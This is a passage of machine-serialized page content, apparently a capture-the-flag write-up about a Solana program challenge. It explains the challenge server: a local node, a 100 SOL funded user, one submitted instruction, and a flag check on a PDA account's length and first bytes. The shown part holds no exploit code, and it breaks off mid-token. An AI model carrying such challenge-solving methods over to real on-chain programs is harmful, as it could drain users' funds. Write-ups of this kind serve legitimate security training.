"type":29,"value":3422},{"type":24,"tag":83,"props":41307,"children":41308},{"class":85,"line":324},[41309,41313,41317,41321,41325,41329,41333,41337,41341,41345,41349,41353,41357,41361,41365,41369,41373,41377,41381,41385,41389,41393,41397,41401,41405,41409,41413,41417,41421],{"type":24,"tag":83,"props":41310,"children":41311},{"style":90},[41312],{"type":29,"value":2809},{"type":24,"tag":83,"props":41314,"children":41315},{"style":137},[41316],{"type":29,"value":13602},{"type":24,"tag":83,"props":41318,"children":41319},{"style":143},[41320],{"type":29,"value":146},{"type":24,"tag":83,"props":41322,"children":41323},{"style":107},[41324],{"type":29,"value":40370},{"type":24,"tag":83,"props":41326,"children":41327},{"style":143},[41328],{"type":29,"value":3226},{"type":24,"tag":83,"props":41330,"children":41331},{"style":107},[41332],{"type":29,"value":40379},{"type":24,"tag":83,"props":41334,"children":41335},{"style":143},[41336],{"type":29,"value":3226},{"type":24,"tag":83,"props":41338,"children":41339},{"style":101},[41340],{"type":29,"value":40388},{"type":24,"tag":83,"props":41342,"children":41343},{"style":143},[41344],{"type":29,"value":3226},{"type":24,"tag":83,"props":41346,"children":41347},{"style":107},[41348],{"type":29,"value":40397},{"type":24,"tag":83,"props":41350,"children":41351},{"style":3163},[41352],{"type":29,"value":3166},{"type":24,"tag":83,"props":41354,"children":41355},{"style":107},[41356],{"type":29,"value":16963},{"type":24,"tag":83,"props":41358,"children":41359},{"style":245},[41360],{"type":29,"value":3819},{"type":24,"tag":83,"props":41362,"children":41363},{"style":107},[41364],{"type":29,"value":1232},{"type":24,"tag":83,"props":41366,"children":41367},{"style":90},[41368],{"type":29,"value":20007},{"type":24,"tag":83,"props":41370,"children":41371},{"style":107},[41372],{"type":29,"value":558},{"type":24,"tag":83,"props":41374,"children":41375},{"style":3163},[41376],{"type":29,"value":7789},{"type":24,"tag":83,"props":41378,"children":41379},{"style":107},[41380],{"type":29,"value":41078},{"type":24,"tag":83,"props":41382,"children":41383},{"style":137},[41384],{"type":29,"value":839},{"type":24,"tag":83,"props":41386,"children":41387},{"style":107},[41388],{"type":29,"value":1161},{"type":24,"tag":83,"props":41390,"children":41391},{"style":143},[41392],{"type":29,"value":2796},{"type":24,"tag":83,"props":41394,"children":41395},{"style":245},[41396],{"type":29,"value":3819},{"type":24,"tag":83,"props":41398,"children":41399},{"style":107},[41400],{"type":29,"value":15151},{"type":24,"tag":83,"props":41402,"children":41403},{"style":143},[41404],{"type":29,"value":161},{"type":24,"tag":83,"props":41406,"children":41407},{"style":101},[41408],{"type":29,"value":25911},{"type":24,"tag":83,"props":41410,"children":41411},{"style":107},[41412],{"type":29,"value":13624},{"type":24,"tag":83,"props":41414,"children":41415},{"style":143},[41416],{"type":29,"value":161},{"type":24,"tag":83,"props":41418,"children":41419},{"style":101},[41420],{"type":29,"value":3410},{"type":24,"tag":83,"props":41422,"children":41423},{"style":107},[41424],{"type":29,"value":15164},{"type":24,"tag":83,"props":41426,"children":41427},{"class":85,"line":345},[41428,41432,41436,41440,41444,41448,41452,41456,41460,41464,41468,41472,41476,41480,41484,41488,41492,41496,41500,41504,41508,41512,41516,41520,41524,41528,41532,41536],{"type":24,"tag":83,"props":41429,"children":41430},{"style":90},[41431],{"type":29,"value":2809},{"type":24,"tag":83,"props":41433,"children":41434},{"style":137},[41435],{"type":29,"value":40485},{"type":24,"tag":83,"props":41437,"children":41438},{"style":143},[41439],{"type":29,"value":146},{"type":24,"tag":83,"props":41441,"children":41442},{"style":107},[41443],{"type":29,"value":40370},{"type":24,"tag":83,"props":41445,"children":41446},{"style":143},[41447],{"type":29,"value":3226},{"type":24,"tag":83,"props":41449,"children":41450},{"style":107},[41451],{"type":29,"value":40379},{"type":24,"tag":83,"props":41453,"children":41454},{"style":143},[41455],{"type":29,"value":3226},{"type":24,"tag":83,"props":41457,"children":41458},{"style":101},[41459],{"type":29,"value":40388},{"type":24,"tag":83,"props":41461,"children":41462},{"style":143},[41463],{"type":29,"value":3226},{"type":24,"tag":83,"props":41465,"children":41466},{"style":107},[41467],{"type":29,"value":40397},{"type":24,"tag":83,"props":41469,"children":41470},{"style":3163},[41471],{"type":29,"value":3166},{"type":24,"tag":83,"props":41473,"children":41474},{"style":107},[41475],{"type":29,"value":16963},{"type":24,"tag":83,"props":41477,"children":41478},{"style":245},[41479],{"type":29,"value":3819},{"type":24,"tag":83,"props":41481,"children":41482},{"style":107},[41483],{"type":29,"value":1232},{"type":24,"tag":83,"props":41485,"children":41486},{"style":3163},[41487],{"type":29,"value":7789},{"type":24,"tag":83,"props":41489,"children":41490},{"style":107},[41491],{"type":29,"value":7358},{"type":24,"tag":83,"props":41493,"children":41494},{"style":137},[41495],{"type":29,"value":839},{"type":24,"tag":83,"props":41497,"children":41498},{"style":107},[41499],{"type":29,"value":1161},{"type":24,"tag":83,"props":41501,"children":41502},{"style":245},[41503],{"type":29,"value":3819},{"type":24,"tag":83,"props":41505,"children":41506},{"style":143},[41507],{"type":29,"value":2796},{"type":24,"tag":83,"props":41509,"children":41510},{"style":245},[41511],{"type":29,"value":40562},{"type":24,"tag":83,"props":41513,"children":41514},{"style":107},[41515],{"type":29,"value":15151},{"type":24,"tag":83,"props":41517,"children":41518},{"style":143},[41519],{"type":29,"value":161},{"type":24,"tag":83,"props":41521,"children":41522},{"style":101},[41523],{"type":29,"value":25911},{"type":24,"tag":83,"props":41525,"children":41526},{"style":107},[41527],{"type":29,"value":13624},{"type":24,"tag":83,"props":41529,"children":41530},{"style":143},[41531],{"type":29,"value":161},{"type":24,"tag":83,"props":41533,"children":41534},{"style":101},[41535],{"type":29,"value":3410},{"type":24,"tag":83,"props":41537,"children":41538},{"style":107},[41539],{"type":29,"value":15164},{"type":24,"tag":83,"props":41541,"children":41542},{"class":85,"line":358},[41543,41547,41551,41555],{"type":24,"tag":83,"props":41544,"children":41545},{"style":101},[41546],{"type":29,"value":40598},{"type":24,"tag":83,"props":41548,"children":41549},{"style":107},[41550],{"type":29,"value":558},{"type":24,"tag":83,"props":41552,"children":41553},{"style":137},[41554],{"type":29,"value":12378},{"type":24,"tag":83,"props":41556,"children":41557},{"style":107},[41558],{"type":29,"value":581},{"type":24,"tag":83,"props":41560,"children":41561},{"class":85,"line":367},[41562],{"type":24,"tag":83,"props":41563,"children":41564},{"style":107},[41565],{"type":29,"value":446},{"type":24,"tag":83,"props":41567,"children":41568},{"class":85,"line":406},[41569],{"type":24,"tag":83,"props":41570,"children":41571},{"style":107},[41572],{"type":29,"value":464},{"type":24,"tag":1818,"props":41574,"children":41576},{"id":41575},"test-environment",[41577],{"type":29,"value":41578},"Test Environment",{"type":24,"tag":25,"props":41580,"children":41581},{},[41582],{"type":29,"value":41583},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":24,"tag":25,"props":41585,"children":41586},{},[41587,41589,41595],{"type":29,"value":41588},"When you connect to the server through a tcp connection, ",{"type":24,"tag":32,"props":41590,"children":41592},{"className":41591},[],[41593],{"type":29,"value":41594},"framework/src/main.rs::handle_connection",{"type":29,"value":41596}," gets executed, which does the following:",{"type":24,"tag":63,"props":41598,"children":41599},{},[41600],{"type":24,"tag":67,"props":41601,"children":41602},{},[41603],{"type":29,"value":41604},"Creates a new Solana local node",{"type":24,"tag":73,"props":41606,"children":41608},{"className":2725,"code":41607,"language":2724,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[41609],{"type":24,"tag":32,"props":41610,"children":41611},{"__ignoreMap":7},[41612,41693,41769],{"type":24,"tag":83,"props":41613,"children":41614},{"class":85,"line":86},[41615,41619,41623,41628,41632,41637,41641,41646,41650,41655,41659,41664,41668,41672,41676,41681,41685,41689],{"type":24,"tag":83,"props":41616,"children":41617},{"style":90},[41618],{"type":29,"value":11534},{"type":24,"tag":83,"props":41620,"children":41621},{"style":90},[41622],{"type":29,"value":2751},{"type":24,"tag":83,"props":41624,"children":41625},{"style":137},[41626],{"type":29,"value":41627}," builder",{"type":24,"tag":83,"props":41629,"children":41630},{"style":143},[41631],{"type":29,"value":146},{"type":24,"tag":83,"props":41633,"children":41634},{"style":3163},[41635],{"type":29,"value":41636}," ChallengeBuilder",{"type":24,"tag":83,"props":41638,"children":41639},{"style":143},[41640],{"type":29,"value":3226},{"type":24,"tag":83,"props":41642,"children":41643},{"style":101},[41644],{"type":29,"value":41645},"try_from",{"type":24,"tag":83,"props":41647,"children":41648},{"style":107},[41649],{"type":29,"value":558},{"type":24,"tag":83,"props":41651,"children":41652},{"style":137},[41653],{"type":29,"value":41654},"socket",{"type":24,"tag":83,"props":41656,"children":41657},{"style":143},[41658],{"type":29,"value":161},{"type":24,"tag":83,"props":41660,"children":41661},{"style":101},[41662],{"type":29,"value":41663},"try_clone",{"type":24,"tag":83,"props":41665,"children":41666},{"style":107},[41667],{"type":29,"value":13624},{"type":24,"tag":83,"props":41669,"children":41670},{"style":143},[41671],{"type":29,"value":161},{"type":24,"tag":83,"props":41673,"children":41674},{"style":101},[41675],{"type":29,"value":3410},{"type":24,"tag":83,"props":41677,"children":41678},{"style":107},[41679],{"type":29,"value":41680},"())",{"type":24,"tag":83,"props":41682,"children":41683},{"style":143},[41684],{"type":29,"value":161},{"type":24,"tag":83,"props":41686,"children":41687},{"style":101},[41688],{"type":29,"value":3410},{"type":24,"tag":83,"props":41690,"children":41691},{"style":107},[41692],{"type":29,"value":267},{"type":24,"tag":83,"props":41694,"children":41695},{"class":85,"line":113},[41696,41701,41705,41710,41714,41719,41723,41728,41732,41737,41742,41746,41751,41755,41760,41764],{"type":24,"tag":83,"props":41697,"children":41698},{"style":101},[41699],{"type":29,"value":41700},"assert!",{"type":24,"tag":83,"props":41702,"children":41703},{"style":107},[41704],{"type":29,"value":558},{"type":24,"tag":83,"props":41706,"children":41707},{"style":137},[41708],{"type":29,"value":41709},"builder",{"type":24,"tag":83,"props":41711,"children":41712},{"style":143},[41713],{"type":29,"value":161},{"type":24,"tag":83,"props":41715,"children":41716},{"style":101},[41717],{"type":29,"value":41718},"add_program",{"type":24,"tag":83,"props":41720,"children":41721},{"style":107},[41722],{"type":29,"value":558},{"type":24,"tag":83,"props":41724,"children":41725},{"style":187},[41726],{"type":29,"value":41727},"\"/path/to/chall.so\"",{"type":24,"tag":83,"props":41729,"children":41730},{"style":107},[41731],{"type":29,"value":568},{"type":24,"tag":83,"props":41733,"children":41734},{"style":3163},[41735],{"type":29,"value":41736},"Some",{"type":24,"tag":83,"props":41738,"children":41739},{"style":107},[41740],{"type":29,"value":41741},"(chall",{"type":24,"tag":83,"props":41743,"children":41744},{"style":143},[41745],{"type":29,"value":3226},{"type":24,"tag":83,"props":41747,"children":41748},{"style":107},[41749],{"type":29,"value":41750},"ID)) ",{"type":24,"tag":83,"props":41752,"children":41753},{"style":143},[41754],{"type":29,"value":8320},{"type":24,"tag":83,"props":41756,"children":41757},{"style":107},[41758],{"type":29,"value":41759}," chall",{"type":24,"tag":83,"props":41761,"children":41762},{"style":143},[41763],{"type":29,"value":3226},{"type":24,"tag":83,"props":41765,"children":41766},{"style":107},[41767],{"type":29,"value":41768},"ID);\n",{"type":24,"tag":83,"props":41770,"children":41771},{"class":85,"line":128},[41772,41776,41780,41784,41788,41792,41796,41801,41805,41809,41813],{"type":24,"tag":83,"props":41773,"children":41774},{"style":90},[41775],{"type":29,"value":11534},{"type":24,"tag":83,"props":41777,"children":41778},{"style":90},[41779],{"type":29,"value":2751},{"type":24,"tag":83,"props":41781,"children":41782},{"style":137},[41783],{"type":29,"value":41759},{"type":24,"tag":83,"props":41785,"children":41786},{"style":143},[41787],{"type":29,"value":146},{"type":24,"tag":83,"props":41789,"children":41790},{"style":137},[41791],{"type":29,"value":41627},{"type":24,"tag":83,"props":41793,"children":41794},{"style":143},[41795],{"type":29,"value":161},{"type":24,"tag":83,"props":41797,"children":41798},{"style":101},[41799],{"type":29,"value":41800},"build",{"type":24,"tag":83,"props":41802,"children":41803},{"style":107},[41804],{"type":29,"value":13624},{"type":24,"tag":83,"props":41806,"children":41807},{"style":143},[41808],{"type":29,"value":161},{"type":24,"tag":83,"props":41810,"children":41811},{"style":117},[41812],{"type":29,"value":32655},{"type":24,"tag":83,"props":41814,"children":41815},{"style":107},[41816],{"type":29,"value":321},{"type":24,"tag":63,"props":41818,"children":41819},{"start":113},[41820],{"type":24,"tag":67,"props":41821,"children":41822},{},[41823],{"type":29,"value":41824},"Funds the user account with 100 SOL",{"type":24,"tag":73,"props":41826,"children":41828},{"className":2725,"code":41827,"language":2724,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[41829],{"type":24,"tag":32,"props":41830,"children":41831},{"__ignoreMap":7},[41832,41865,41897,41904,41946,41978,41985,41993,42057,42076,42083],{"type":24,"tag":83,"props":41833,"children":41834},{"class":85,"line":86},[41835,41839,41844,41848,41853,41857,41861],{"type":24,"tag":83,"props":41836,"children":41837},{"style":90},[41838],{"type":29,"value":11534},{"type":24,"tag":83,"props":41840,"children":41841},{"style":137},[41842],{"type":29,"value":41843}," user_keypair",{"type":24,"tag":83,"props":41845,"children":41846},{"style":143},[41847],{"type":29,"value":146},{"type":24,"tag":83,"props":41849,"children":41850},{"style":3163},[41851],{"type":29,"value":41852}," Keypair",{"type":24,"tag":83,"props":41854,"children":41855},{"style":143},[41856],{"type":29,"value":3226},{"type":24,"tag":83,"props":41858,"children":41859},{"style":101},[41860],{"type":29,"value":14864},{"type":24,"tag":83,"props":41862,"children":41863},{"style":107},[41864],{"type":29,"value":267},{"type":24,"tag":83,"props":41866,"children":41867},{"class":85,"line":113},[41868,41872,41877,41881,41885,41889,41893],{"type":24,"tag":83,"props":41869,"children":41870},{"style":90},[41871],{"type":29,"value":11534},{"type":24,"tag":83,"props":41873,"children":41874},{"style":137},[41875],{"type":29,"value":41876}," user",{"type":24,"tag":83,"props":41878,"children":41879},{"style":143},[41880],{"type":29,"value":146},{"type":24,"tag":83,"props":41882,"children":41883},{"style":137},[41884],{"type":29,"value":41843},{"type":24,"tag":83,"props":41886,"children":41887},{"style":143},[41888],{"type":29,"value":161},{"type":24,"tag":83,"props":41890,"children":41891},{"style":101},[41892],{"type":29,"value":3289},{"type":24,"tag":83,"props":41894,"children":41895},{"style":107},[41896],{"type":29,"value":267},{"type":24,"tag":83,"props":41898,"children":41899},{"class":85,"line":128},[41900],{"type":24,"tag":83,"props":41901,"children":41902},{"emptyLinePlaceholder":16},[41903],{"type":29,"value":3422},{"type":24,"tag":83,"props":41905,"children":41906},{"class":85,"line":183},[41907,41911,41916,41920,41924,41929,41933,41937,41941],{"type":24,"tag":83,"props":41908,"children":41909},{"style":90},[41910],{"type":29,"value":11534},{"type":24,"tag":83,"props":41912,"children":41913},{"style":137},[41914],{"type":29,"value":41915}," payer_keypair",{"type":24,"tag":83,"props":41917,"children":41918},{"style":143},[41919],{"type":29,"value":146},{"type":24,"tag":83,"props":41921,"children":41922},{"style":143},[41923],{"type":29,"value":6888},{"type":24,"tag":83,"props":41925,"children":41926},{"style":137},[41927],{"type":29,"value":41928},"chall",{"type":24,"tag":83,"props":41930,"children":41931},{"style":143},[41932],{"type":29,"value":161},{"type":24,"tag":83,"props":41934,"children":41935},{"style":107},[41936],{"type":29,"value":20021},{"type":24,"tag":83,"props":41938,"children":41939},{"style":143},[41940],{"type":29,"value":161},{"type":24,"tag":83,"props":41942,"children":41943},{"style":107},[41944],{"type":29,"value":41945},"payer;\n",{"type":24,"tag":83,"props":41947,"children":41948},{"class":85,"line":203},[41949,41953,41958,41962,41966,41970,41974],{"type":24,"tag":83,"props":41950,"children":41951},{"style":90},[41952],{"type":29,"value":11534},{"type":24,"tag":83,"props":41954,"children":41955},{"style":137},[41956],{"type":29,"value":41957}," payer",{"type":24,"tag":83,"props":41959,"children":41960},{"style":143},[41961],{"type":29,"value":146},{"type":24,"tag":83,"props":41963,"children":41964},{"style":137},[41965],{"type":29,"value":41915},{"type":24,"tag":83,"props":41967,"children":41968},{"style":143},[41969],{"type":29,"value":161},{"type":24,"tag":83,"props":41971,"children":41972},{"style":101},[41973],{"type":29,"value":3289},{"type":24,"tag":83,"props":41975,"children":41976},{"style":107},[41977],{"type":29,"value":267},{"type":24,"tag":83,"props":41979,"children":41980},{"class":85,"line":212},[41981],{"type":24,"tag":83,"props":41982,"children":41983},{"emptyLinePlaceholder":16},[41984],{"type":29,"value":3422},{"type":24,"tag":83,"props":41986,"children":41987},{"class":85,"line":256},[41988],{"type":24,"tag":83,"props":41989,"children":41990},{"style":137},[41991],{"type":29,"value":41992},"chall\n",{"type":24,"tag":83,"props":41994,"children":41995},{"class":85,"line":270},[41996,42001,42006,42011,42015,42019,42023,42027,42032,42036,42040,42044,42048,42053],{"type":24,"tag":83,"props":41997,"children":41998},{"style":143},[41999],{"type":29,"value":42000},"    .",{"type":24,"tag":83,"props":42002,"children":42003},{"style":101},[42004],{"type":29,"value":42005},"run_ix",{"type":24,"tag":83,"props":42007,"children":42008},{"style":107},[42009],{"type":29,"value":42010},"(system_instruction",{"type":24,"tag":83,"props":42012,"children":42013},{"style":143},[42014],{"type":29,"value":3226},{"type":24,"tag":83,"props":42016,"children":42017},{"style":101},[42018],{"type":29,"value":31862},{"type":24,"tag":83,"props":42020,"children":42021},{"style":107},[42022],{"type":29,"value":558},{"type":24,"tag":83,"props":42024,"children":42025},{"style":143},[42026],{"type":29,"value":2853},{"type":24,"tag":83,"props":42028,"children":42029},{"style":137},[42030],{"type":29,"value":42031},"payer",{"type":24,"tag":83,"props":42033,"children":42034},{"style":107},[42035],{"type":29,"value":568},{"type":24,"tag":83,"props":42037,"children":42038},{"style":143},[42039],{"type":29,"value":2853},{"type":24,"tag":83,"props":42041,"children":42042},{"style":137},[42043],{"type":29,"value":19973},{"type":24,"tag":83,"props":42045,"children":42046},{"style":107},[42047],{"type":29,"value":568},{"type":24,"tag":83,"props":42049,"children":42050},{"style":245},[42051],{"type":29,"value":42052},"100_000_000_000",{"type":24,"tag":83,"props":42054,"children":42055},{"style":107},[42056],{"type":29,"value":19452},{"type":24,"tag":83,"props":42058,"children":42059},{"class":85,"line":302},[42060,42064,42068,42072],{"type":24,"tag":83,"props":42061,"children":42062},{"style":143},[42063],{"type":29,"value":42000},{"type":24,"tag":83,"props":42065,"children":42066},{"style":117},[42067],{"type":29,"value":32655},{"type":24,"tag":83,"props":42069,"children":42070},{"style":143},[42071],{"type":29,"value":2900},{"type":24,"tag":83,"props":42073,"children":42074},{"style":107},[42075],{"type":29,"value":321},{"type":24,"tag":83,"props":42077,"children":42078},{"class":85,"line":324},[42079],{"type":24,"tag":83,"props":42080,"children":42081},{"emptyLinePlaceholder":16},[42082],{"type":29,"value":3422},{"type":24,"tag":83,"props":42084,"children":42085},{"class":85,"line":345},[42086,42091,42095,42099,42103,42108,42112,42116,42120,42124],{"type":24,"tag":83,"props":42087,"children":42088},{"style":101},[42089],{"type":29,"value":42090},"writeln!",{"type":24,"tag":83,"props":42092,"children":42093},{"style":107},[42094],{"type":29,"value":558},{"type":24,"tag":83,"props":42096,"children":42097},{"style":137},[42098],{"type":29,"value":41654},{"type":24,"tag":83,"props":42100,"children":42101},{"style":107},[42102],{"type":29,"value":568},{"type":24,"tag":83,"props":42104,"children":42105},{"style":187},[42106],{"type":29,"value":42107},"\"user: {}\"",{"type":24,"tag":83,"props":42109,"children":42110},{"style":107},[42111],{"type":29,"value":568},{"type":24,"tag":83,"props":42113,"children":42114},{"style":137},[42115],{"type":29,"value":19973},{"type":24,"tag":83,"props":42117,"children":42118},{"style":107},[42119],{"type":29,"value":2872},{"type":24,"tag":83,"props":42121,"children":42122},{"style":143},[42123],{"type":29,"value":2900},{"type":24,"tag":83,"props":42125,"children":42126},{"style":107},[42127],{"type":29,"value":321},{"type":24,"tag":63,"props":42129,"children":42130},{"start":128},[42131],{"type":24,"tag":67,"props":42132,"children":42133},{},[42134],{"type":29,"value":42135},"Reads an instruction from the tcp stream and executes it",{"type":24,"tag":73,"props":42137,"children":42139},{"className":2725,"code":42138,"language":2724,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[42140],{"type":24,"tag":32,"props":42141,"children":42142},{"__ignoreMap":7},[42143,42193],{"type":24,"tag":83,"props":42144,"children":42145},{"class":85,"line":86},[42146,42150,42155,42159,42163,42167,42172,42176,42180,42185,42189],{"type":24,"tag":83,"props":42147,"children":42148},{"style":90},[42149],{"type":29,"value":11534},{"type":24,"tag":83,"props":42151,"children":42152},{"style":137},[42153],{"type":29,"value":42154}," solve_ix",{"type":24,"tag":83,"props":42156,"children":42157},{"style":143},[42158],{"type":29,"value":146},{"type":24,"tag":83,"props":42160,"children":42161},{"style":137},[42162],{"type":29,"value":41759},{"type":24,"tag":83,"props":42164,"children":42165},{"style":143},[42166],{"type":29,"value":161},{"type":24,"tag":83,"props":42168,"children":42169},{"style":101},[42170],{"type":29,"value":42171},"read_instruction",{"type":24,"tag":83,"props":42173,"children":42174},{"style":107},[42175],{"type":29,"value":41741},{"type":24,"tag":83,"props":42177,"children":42178},{"style":143},[42179],{"type":29,"value":3226},{"type":24,"tag":83,"props":42181,"children":42182},{"style":107},[42183],{"type":29,"value":42184},"ID)",{"type":24,"tag":83,"props":42186,"children":42187},{"style":143},[42188],{"type":29,"value":2900},{"type":24,"tag":83,"props":42190,"children":42191},{"style":107},[42192],{"type":29,"value":321},{"type":24,"tag":83,"props":42194,"children":42195},{"class":85,"line":113},[42196,42200,42204,42209,42213,42217,42221,42226,42230,42234,42238,42242,42247,42251,42255,42259,42263,42267,42271,42275],{"type":24,"tag":83,"props":42197,"children":42198},{"style":137},[42199],{"type":29,"value":41928},{"type":24,"tag":83,"props":42201,"children":42202},{"style":143},[42203],{"type":29,"value":161},{"type":24,"tag":83,"props":42205,"children":42206},{"style":101},[42207],{"type":29,"value":42208},"run_ixs_full",{"type":24,"tag":83,"props":42210,"children":42211},{"style":107},[42212],{"type":29,"value":558},{"type":24,"tag":83,"props":42214,"children":42215},{"style":143},[42216],{"type":29,"value":2853},{"type":24,"tag":83,"props":42218,"children":42219},{"style":107},[42220],{"type":29,"value":1161},{"type":24,"tag":83,"props":42222,"children":42223},{"style":137},[42224],{"type":29,"value":42225},"solve_ix",{"type":24,"tag":83,"props":42227,"children":42228},{"style":107},[42229],{"type":29,"value":1232},{"type":24,"tag":83,"props":42231,"children":42232},{"style":143},[42233],{"type":29,"value":2853},{"type":24,"tag":83,"props":42235,"children":42236},{"style":107},[42237],{"type":29,"value":1161},{"type":24,"tag":83,"props":42239,"children":42240},{"style":143},[42241],{"type":29,"value":2853},{"type":24,"tag":83,"props":42243,"children":42244},{"style":137},[42245],{"type":29,"value":42246},"user_keypair",{"type":24,"tag":83,"props":42248,"children":42249},{"style":107},[42250],{"type":29,"value":1232},{"type":24,"tag":83,"props":42252,"children":42253},{"style":143},[42254],{"type":29,"value":2853},{"type":24,"tag":83,"props":42256,"children":42257},{"style":137},[42258],{"type":29,"value":19973},{"type":24,"tag":83,"props":42260,"children":42261},{"style":107},[42262],{"type":29,"value":2872},{"type":24,"tag":83,"props":42264,"children":42265},{"style":143},[42266],{"type":29,"value":161},{"type":24,"tag":83,"props":42268,"children":42269},{"style":117},[42270],{"type":29,"value":32655},{"type":24,"tag":83,"props":42272,"children":42273},{"style":143},[42274],{"type":29,"value":2900},{"type":24,"tag":83,"props":42276,"children":42277},{"style":107},[42278],{"type":29,"value":321},{"type":24,"tag":63,"props":42280,"children":42281},{"start":183},[42282],{"type":24,"tag":67,"props":42283,"children":42284},{},[42285],{"type":29,"value":42286},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":24,"tag":73,"props":42288,"children":42290},{"className":2725,"code":42289,"language":2724,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[42291],{"type":24,"tag":32,"props":42292,"children":42293},{"__ignoreMap":7},[42294,42378,42469,42510,42594,42601,42638,42695,42740,42755,42791,42798,42805],{"type":24,"tag":83,"props":42295,"children":42296},{"class":85,"line":86},[42297,42301,42306,42310,42314,42318,42323,42327,42331,42335,42340,42344,42349,42354,42358,42362,42366,42370,42374],{"type":24,"tag":83,"props":42298,"children":42299},{"style":90},[42300],{"type":29,"value":11534},{"type":24,"tag":83,"props":42302,"children":42303},{"style":137},[42304],{"type":29,"value":42305}," flag",{"type":24,"tag":83,"props":42307,"children":42308},{"style":143},[42309],{"type":29,"value":146},{"type":24,"tag":83,"props":42311,"children":42312},{"style":3163},[42313],{"type":29,"value":20597},{"type":24,"tag":83,"props":42315,"children":42316},{"style":143},[42317],{"type":29,"value":3226},{"type":24,"tag":83,"props":42319,"children":42320},{"style":101},[42321],{"type":29,"value":42322},"create_program_address",{"type":24,"tag":83,"props":42324,"children":42325},{"style":107},[42326],{"type":29,"value":558},{"type":24,"tag":83,"props":42328,"children":42329},{"style":143},[42330],{"type":29,"value":2853},{"type":24,"tag":83,"props":42332,"children":42333},{"style":107},[42334],{"type":29,"value":1161},{"type":24,"tag":83,"props":42336,"children":42337},{"style":187},[42338],{"type":29,"value":42339},"\"FLAG\"",{"type":24,"tag":83,"props":42341,"children":42342},{"style":143},[42343],{"type":29,"value":161},{"type":24,"tag":83,"props":42345,"children":42346},{"style":101},[42347],{"type":29,"value":42348},"as_ref",{"type":24,"tag":83,"props":42350,"children":42351},{"style":107},[42352],{"type":29,"value":42353},"()], ",{"type":24,"tag":83,"props":42355,"children":42356},{"style":143},[42357],{"type":29,"value":2853},{"type":24,"tag":83,"props":42359,"children":42360},{"style":107},[42361],{"type":29,"value":41928},{"type":24,"tag":83,"props":42363,"children":42364},{"style":143},[42365],{"type":29,"value":3226},{"type":24,"tag":83,"props":42367,"children":42368},{"style":107},[42369],{"type":29,"value":42184},{"type":24,"tag":83,"props":42371,"children":42372},{"style":143},[42373],{"type":29,"value":2900},{"type":24,"tag":83,"props":42375,"children":42376},{"style":107},[42377],{"type":29,"value":321},{"type":24,"tag":83,"props":42379,"children":42380},{"class":85,"line":113},[42381,42385,42389,42393,42397,42402,42406,42410,42414,42418,42422,42426,42431,42435,42440,42444,42449,42453,42457,42461,42465],{"type":24,"tag":83,"props":42382,"children":42383},{"style":117},[42384],{"type":29,"value":1094},{"type":24,"tag":83,"props":42386,"children":42387},{"style":90},[42388],{"type":29,"value":27054},{"type":24,"tag":83,"props":42390,"children":42391},{"style":3163},[42392],{"type":29,"value":27059},{"type":24,"tag":83,"props":42394,"children":42395},{"style":107},[42396],{"type":29,"value":558},{"type":24,"tag":83,"props":42398,"children":42399},{"style":137},[42400],{"type":29,"value":42401},"acct",{"type":24,"tag":83,"props":42403,"children":42404},{"style":107},[42405],{"type":29,"value":633},{"type":24,"tag":83,"props":42407,"children":42408},{"style":143},[42409],{"type":29,"value":1275},{"type":24,"tag":83,"props":42411,"children":42412},{"style":137},[42413],{"type":29,"value":41759},{"type":24,"tag":83,"props":42415,"children":42416},{"style":143},[42417],{"type":29,"value":161},{"type":24,"tag":83,"props":42419,"children":42420},{"style":107},[42421],{"type":29,"value":20021},{"type":24,"tag":83,"props":42423,"children":42424},{"style":143},[42425],{"type":29,"value":161},{"type":24,"tag":83,"props":42427,"children":42428},{"style":107},[42429],{"type":29,"value":42430},"banks_client",{"type":24,"tag":83,"props":42432,"children":42433},{"style":143},[42434],{"type":29,"value":161},{"type":24,"tag":83,"props":42436,"children":42437},{"style":101},[42438],{"type":29,"value":42439},"get_account",{"type":24,"tag":83,"props":42441,"children":42442},{"style":107},[42443],{"type":29,"value":558},{"type":24,"tag":83,"props":42445,"children":42446},{"style":137},[42447],{"type":29,"value":42448},"flag",{"type":24,"tag":83,"props":42450,"children":42451},{"style":107},[42452],{"type":29,"value":2872},{"type":24,"tag":83,"props":42454,"children":42455},{"style":143},[42456],{"type":29,"value":161},{"type":24,"tag":83,"props":42458,"children":42459},{"style":117},[42460],{"type":29,"value":32655},{"type":24,"tag":83,"props":42462,"children":42463},{"style":143},[42464],{"type":29,"value":2900},{"type":24,"tag":83,"props":42466,"children":42467},{"style":107},[42468],{"type":29,"value":125},{"type":24,"tag":83,"props":42470,"children":42471},{"class":85,"line":128},[42472,42476,42481,42485,42489,42493,42497,42501,42505],{"type":24,"tag":83,"props":42473,"children":42474},{"style":117},[42475],{"type":29,"value":218},{"type":24,"tag":83,"props":42477,"children":42478},{"style":137},[42479],{"type":29,"value":42480}," 